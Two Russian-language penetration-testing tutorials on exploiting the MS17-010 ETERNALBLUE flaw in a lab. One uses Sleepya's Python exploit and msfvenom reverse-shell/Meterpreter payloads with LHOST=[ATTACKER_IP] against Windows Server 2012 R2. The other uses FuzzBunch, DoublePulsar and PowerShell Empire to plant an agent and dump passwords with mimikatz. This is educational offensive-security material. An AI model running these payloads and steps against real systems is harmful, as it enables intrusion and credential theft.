- Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER
- Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE
- Powershell Empire
- Установка
- Запуск и базовая настройка
- Постэксплуатация
- FuzzBunch
- Установка
- Запуск и эксплуатация MS17-010
- Постэксплуатация в связке с Powershell Empire
- Защитные меры
Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER
С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов.
Автор: Sheila A. Berta (@UnaPibaGeek)
Введение
С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов. Потом за менее чем 2 месяца было опубликовано несколько работ с описанием работы этого эксплоита. В арсенал Metasploit была добавлена версия на основе исследований, выполненных Шоном Диллоном (Sean Dillon) и Диланом Дэвисом (Dylan Davis), которая работает в Windows 7 и Windows Server 2008 R2. Кроме того, исследователь “Sleepya” опубликовал на github версию ETERNALBLUE, написанную на Python, которая делает возможным осуществление атаки на Windows Server 2012 R2.
Поскольку на момент написания статьи еще не существовало объяснений того, как настраивать эксплоит от Sleepya, я решил исследовать этот вопрос и написать пошаговое руководство. Естественно, вся информация ниже представлена только в ознакомительных целях.
Настройка лабораторной среды
Для установки тестовой среды потребуется настройка следующих систем:
Система жертвы — Windows Server 2012 R2
Машина с установленной системой Windows Server 2012 R2 и 64-битным процессором будет использоваться в качестве целевой:
Рисунок 1: Параметры системы жертвы
После установки операционной системы нет необходимости вносить дополнительные изменения. Достаточно знать IP-адрес и включить машину в момент совершения атаки.
Система злоумышленника — GNU/Linux
Допускается использование любой операционной системы, где есть следующие инструменты:
В итоге мы имеем две системы:
- Windows Server 2012 R2 x64 – IP: 10.0.2.12 – Целевая система.
- GNU/Linux Debian x64 – IP: 10.0.2.6 – Система злоумышленника.
Подготовка шелл-кода
Первый шаг – сборка шелл-кода уровня ядра, разработанного для эксплоита ETERNALBLUE. Далее мы добавим шелл-код уровня пользователя, представляющего собой полезную нагрузку для Metasploit, которую нужно запустить на целевой машине.
Сборка шелл-кода уровня ядра
По ссылке ниже можно получить шелл-код уровня ядра, разработанный исследователем Sleepya:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
Сохраняем .asm файл и при помощи следующей команды выполняем компиляцию шелл-кода: nasm -f bin kernel_shell_x64.asm.
Рисунок 2: Сборка шелл-кода уровня ядра
Генерирование шелл-кода уровня пользователя при помощи msfvenom
Модуль msfvenom будет использоваться для генерирования полезной нагрузки. В демонстративных целях мы будет осуществлять два вида атаки: вначале будем получать обратный шелл через TCP, а затем – сессию в meterpreter. В каждом случае полезная нагрузка будет генерироваться отдельно:
windows/x64/shell/reverse_tcp:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
Рисунок 3: Генерирование полезной нагрузки для получения обратного шелла
windows/x64/meterpreter/reverse_tcp:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444
Рисунок 4: Генерирование полезной нагрузки для получения сессии в Meterpreter
Объединения шелл-кода и полезной нагрузки
После того как шелл-код уровня ядра собран и нужная полезная нагрузки из Metasploit сгенерирована, необходимо выполнить объединение.
kernel shellcode + shell/reverse_tcp:
Рисунок 5: Объединение шелл-кода и полезной нагрузки для получения обратного шелла
kernel shellcode + meterpreter/reverse_tcp:
Рисунок 6: Объединение шелл-кода и полезной нагрузки для получения сессии в Meterpreter
После завершение обоих процессов у нас будет две полезные нагрузки, пригодные для различных типов атаки.
Получение обратного шелла
Естественно, мы будет пользоваться эксплоитом, созданным исследователем Sleepya, который можно скачать по следующей ссылке:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
Эксплоит нужно сохранить с расширением .py на машине злоумышленника. Перед началом использования необходимо настроить Metasploit для получения обратного соединения шелл-кода в момент выполнения на целевой машине.
Рисунок 7: Настройка Metasploit в системе злоумышленника
Теперь у нас есть два способа воздействия на целевую машину.
Атака через гостевую учетную запись
По умолчанию в Windows Server 2012 R2 гостевая учетная четная запись не активна. В случае активации гостевого аккаунта администратором мы можем получить системный шелл на целевой машине.
Для начала откроем файл exploit.py в текстовом редакторе и пропишем использование гостевой учетной записи при аутентификации.
Рисунок 8: Настройка учетной записи, используемой при аутентификации
Как видно из рисунка выше, эти параметры настраиваются в строках 42-43.
После сохранения запускаем эксплоит со следующими параметрами:
python exploit.py reverse_shell.bin 500
Значение 500 соответствует параметру «numGroomConn». Настройка количество попутных соединений («Groom» connections) позволяет добиться смежности памяти пула ядра так, чтобы перезапись буфера оканчивалась в нужном месте и шелл-код выполнялся корректно.
Для шелл-кода на уровне пользователя установим значение параметра numGroomConn равным 500. Если обратное соединение не возникнет, попробуем увеличить это число.
Рисунок 9: Запуск эксплоита от имени гостевой учетной записи
После запуска эксплоита тут же получаем обратный шелл в терминале Metasploit.
Рисунок 10: Обратный шелл в терминале злоумышленника
Атака через обычную учетную запись
Другой способ добиться успешной эксплуатации – использование обычной учетной записи, полученной заранее от локального пользователя. Как и в случае с гостевой учетной записью уровень привилегий не имеет значения. Во время аутентификации шелл всегда будет системным.
Вновь открываем exploit.py и добавляем информацию об учетной записи локального пользователя.
Рисунок 11: Добавление учетной записи локального пользователя
Как и в предыдущем случае сохраняем файл и запускаем эксплоит.
Рисунок 12: Запуск эксплоита от имени локального пользователя
И получаем те же самые результаты.
Рисунок 13: Получение обратного шелла
Получение сессии в Meterpreter
Сейчас будет продемонстрирован наиболее долгожданный пример: получение сессии в meterpreter с правами администратора. Но вначале нужно настроить Metasploit на получение обратного соединения.
Рисунок 14: Настройка Metasploit
Во время атаки мы будем использовать гостевую учетную запись, однако, как и в предыдущем случае, возможно использовать любой другой рабочий аккаунт.
Рисунок 15: Добавление информации о гостевой учетной записи
Далее запускаем эксплоит со следующими параметрами:
python exploit.py meterpreter.bin 200
На этот раз значение параметра numGroomConn равно 200 с целью уменьшения количества соединений. Если эксплоит запустится корректно, но мы не получим сессию, можно попробовать увеличить это значение.
Рисунок 16: Запуск эксплоита
И тут же получаем meterpreter-сессию в терминале Metasploit.
Рисунок 17: Получение сессии в meterpreter
Заключение
В заключении мы получили шелл в Meterpreter с правами администратора в системе Windows Server 2012 R2. Некоторое время назад я написал те же самые слова в другой статье, но применительно к Windows 7 и Windows Server 2008 R2. Все говорит о том, что анализ, проведенный сообществом специалистов по безопасности, показал хорошие результаты. Однако в то же время администраторы вышеуказанных систем должны озаботиться дополнительными мерами безопасности для защиты своих инфраструктур.
Источник
Powershell Empire и FuzzBunch: эксплуатация нашумевшей уязвимости ETERNALBLUE
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Данная уязвимость устранена с выходом пачта MS17-010: он устраняет шесть проблем Windows SMB Server, пять из которых позволяют выполнить произвольный код через создание специального пакета Server Message Block (SMB) 1.0. В данной статье мы рассмотрим как злоумышленники могут эксплуатировать уязвимость ETERNALBLUE.
Статья носит исследовательский характер. При ее написании использовалась общедоступная информация. Применение описываемых техник или методик, или их частей в противозаконных и противоправных действиях запрещена. Соблюдайте законодательство.
По умолчанию арсенал Kali Linux позволяет проводить множество атак на машины под управлением ОС Windows, но двух современных инструментов в ней не хватает. В данной статье речь пойдет об инструментах Empire и FuzzBunch, которыми стоит дополнить ваш дистрибутив, чтобы существенно расширить возможности для эксплуатации и постэксплуатации Windows систем в сети.
Powershell Empire
Powershell Empire предоставляет модульную платформу для пост-эксплуатации, используя возможности средства автоматизации ОС Windows PowerShell.
Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, т.е. антивирусным ПО и системами предотвращения вторжений из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пейлоадов, скомпилированных в ассемблер и исполняемый файл.
Установка
Скачиваем Empire с github github.com/EmpireProject/Empire
Запускаем скрипт Empire/setup/install.sh для установки зависимостей в систему.
Далее запускаем скрипт для инициализации базы данных Empire/setup/setup_database.py
Установка завершена.
Запуск и базовая настройка
Запускаем фреймворк скриптом ./empire и попадаем в главное меню
Основные понятия, с которыми нам придется столкнуться это listener, stager и agent.
Listener – локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.
Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер по адресу 192.168.1.3:8080
Как видим, порт теперь прослушивается:
Stager – способ доставки Powershell Empire агента на машине жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 – способ доставки Empire агента, а stage1 – сам агент. На самом деле процесс доставки несколько сложнее, о чем можно подробно почитать на официальном сайте.
Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):
Самый распространенный стейджер – launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.
Далее можно настроить некоторые параметры для стейджера:
В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.
Командой generate создается стейджер типа launcher.
Он представляет собой закодированную powershell команду в base64, которую необходимо выполнить на стороне жертвы.
Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда
launcher [имя_листнера] из меню listeners.
Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.
- launcher_bat – агент доставляется на машину жертвы при запуске bat-файла.
- launcher_vbs – агент доставляется на машину жертвы при выполнении vbs-скрипта.
- macro – будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
- dll – запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.
Стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. При помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение.
Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:
На машине атакующего в интерфейсе Empire видим сообщение:
Это означает, что между машиной атакующего и машиной жертвы теперь установлено соединение и агент готов получать команды.
Для удобства можно переименовать агента:
Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции:
Постэксплуатация
После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте powershellempire.com.
Все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.
Модуль credentials/powerdump для сбора хэшей пользователей.
Запуск mimikatz из меню агента Empire
Получили пароль в открытом виде от поставщика WDijest
FuzzBunch
14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17-010. Так же для эксплуатации уязвимостей, обнародованных The Shadow Brokers, уже созданы модули для фреймворка Metasploit.
Установка
Для установки FuzzBunch вам понадобится либо 32-битная Windows машина, либо Kali Linux с установленным окружением Wine. Мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. Загрузим файлы на свою машину Kali Linux с github
Для работы FuzzBunch Нам потребуется Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.
Создаем и инициализируем новое окружение:
Оставляем все без изменения:
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:
Добавляем в PATH требуемые директории
wine regedit.exe
Устанавливаем fuzzbunch в окружение Wine:
Запуск и эксплуатация MS17-010
Из окружения Wine выполняем следующую команду:
Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.
Задаем эти параметры при запуске.
Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue.
На вопрос о проверке параметров отвечаем утвердительно:
Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB.
В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.
Постэксплуатация в связке с Powershell Empire
Создаем новый листенер:
В качестве механизма доставки агента используем на этот раз dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.
Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C окружения Wine.
Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.
Выбираем 64-битную архитектуру:
В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.
Указываем полный путь до DLL:
C:\launcher.dll
Выполняем модуль:
В интерфейсе Empire получаем новую сессию и выполняем Mimikatz.
Получаем логины и пароли пользователей.
В то же время операционная система жертвы не выявляет атаки. В журналах Microsoft Security Essentials пусто, система работает стабильно. Таким образом, наш дистрибутив Kali Linux приобрел два современных инструмента для эксплуатации и постэксплуатации ОС под управлением Windows.
Защитные меры
В качестве средств защиты рекомендуется обновить Windows системы (если вы этого еще по каким-то причинам не сделали), использовать средства обнаружения и блокирования атак — firewall и т.д.
Например это можно сделать с помощью следующих команд:
Источник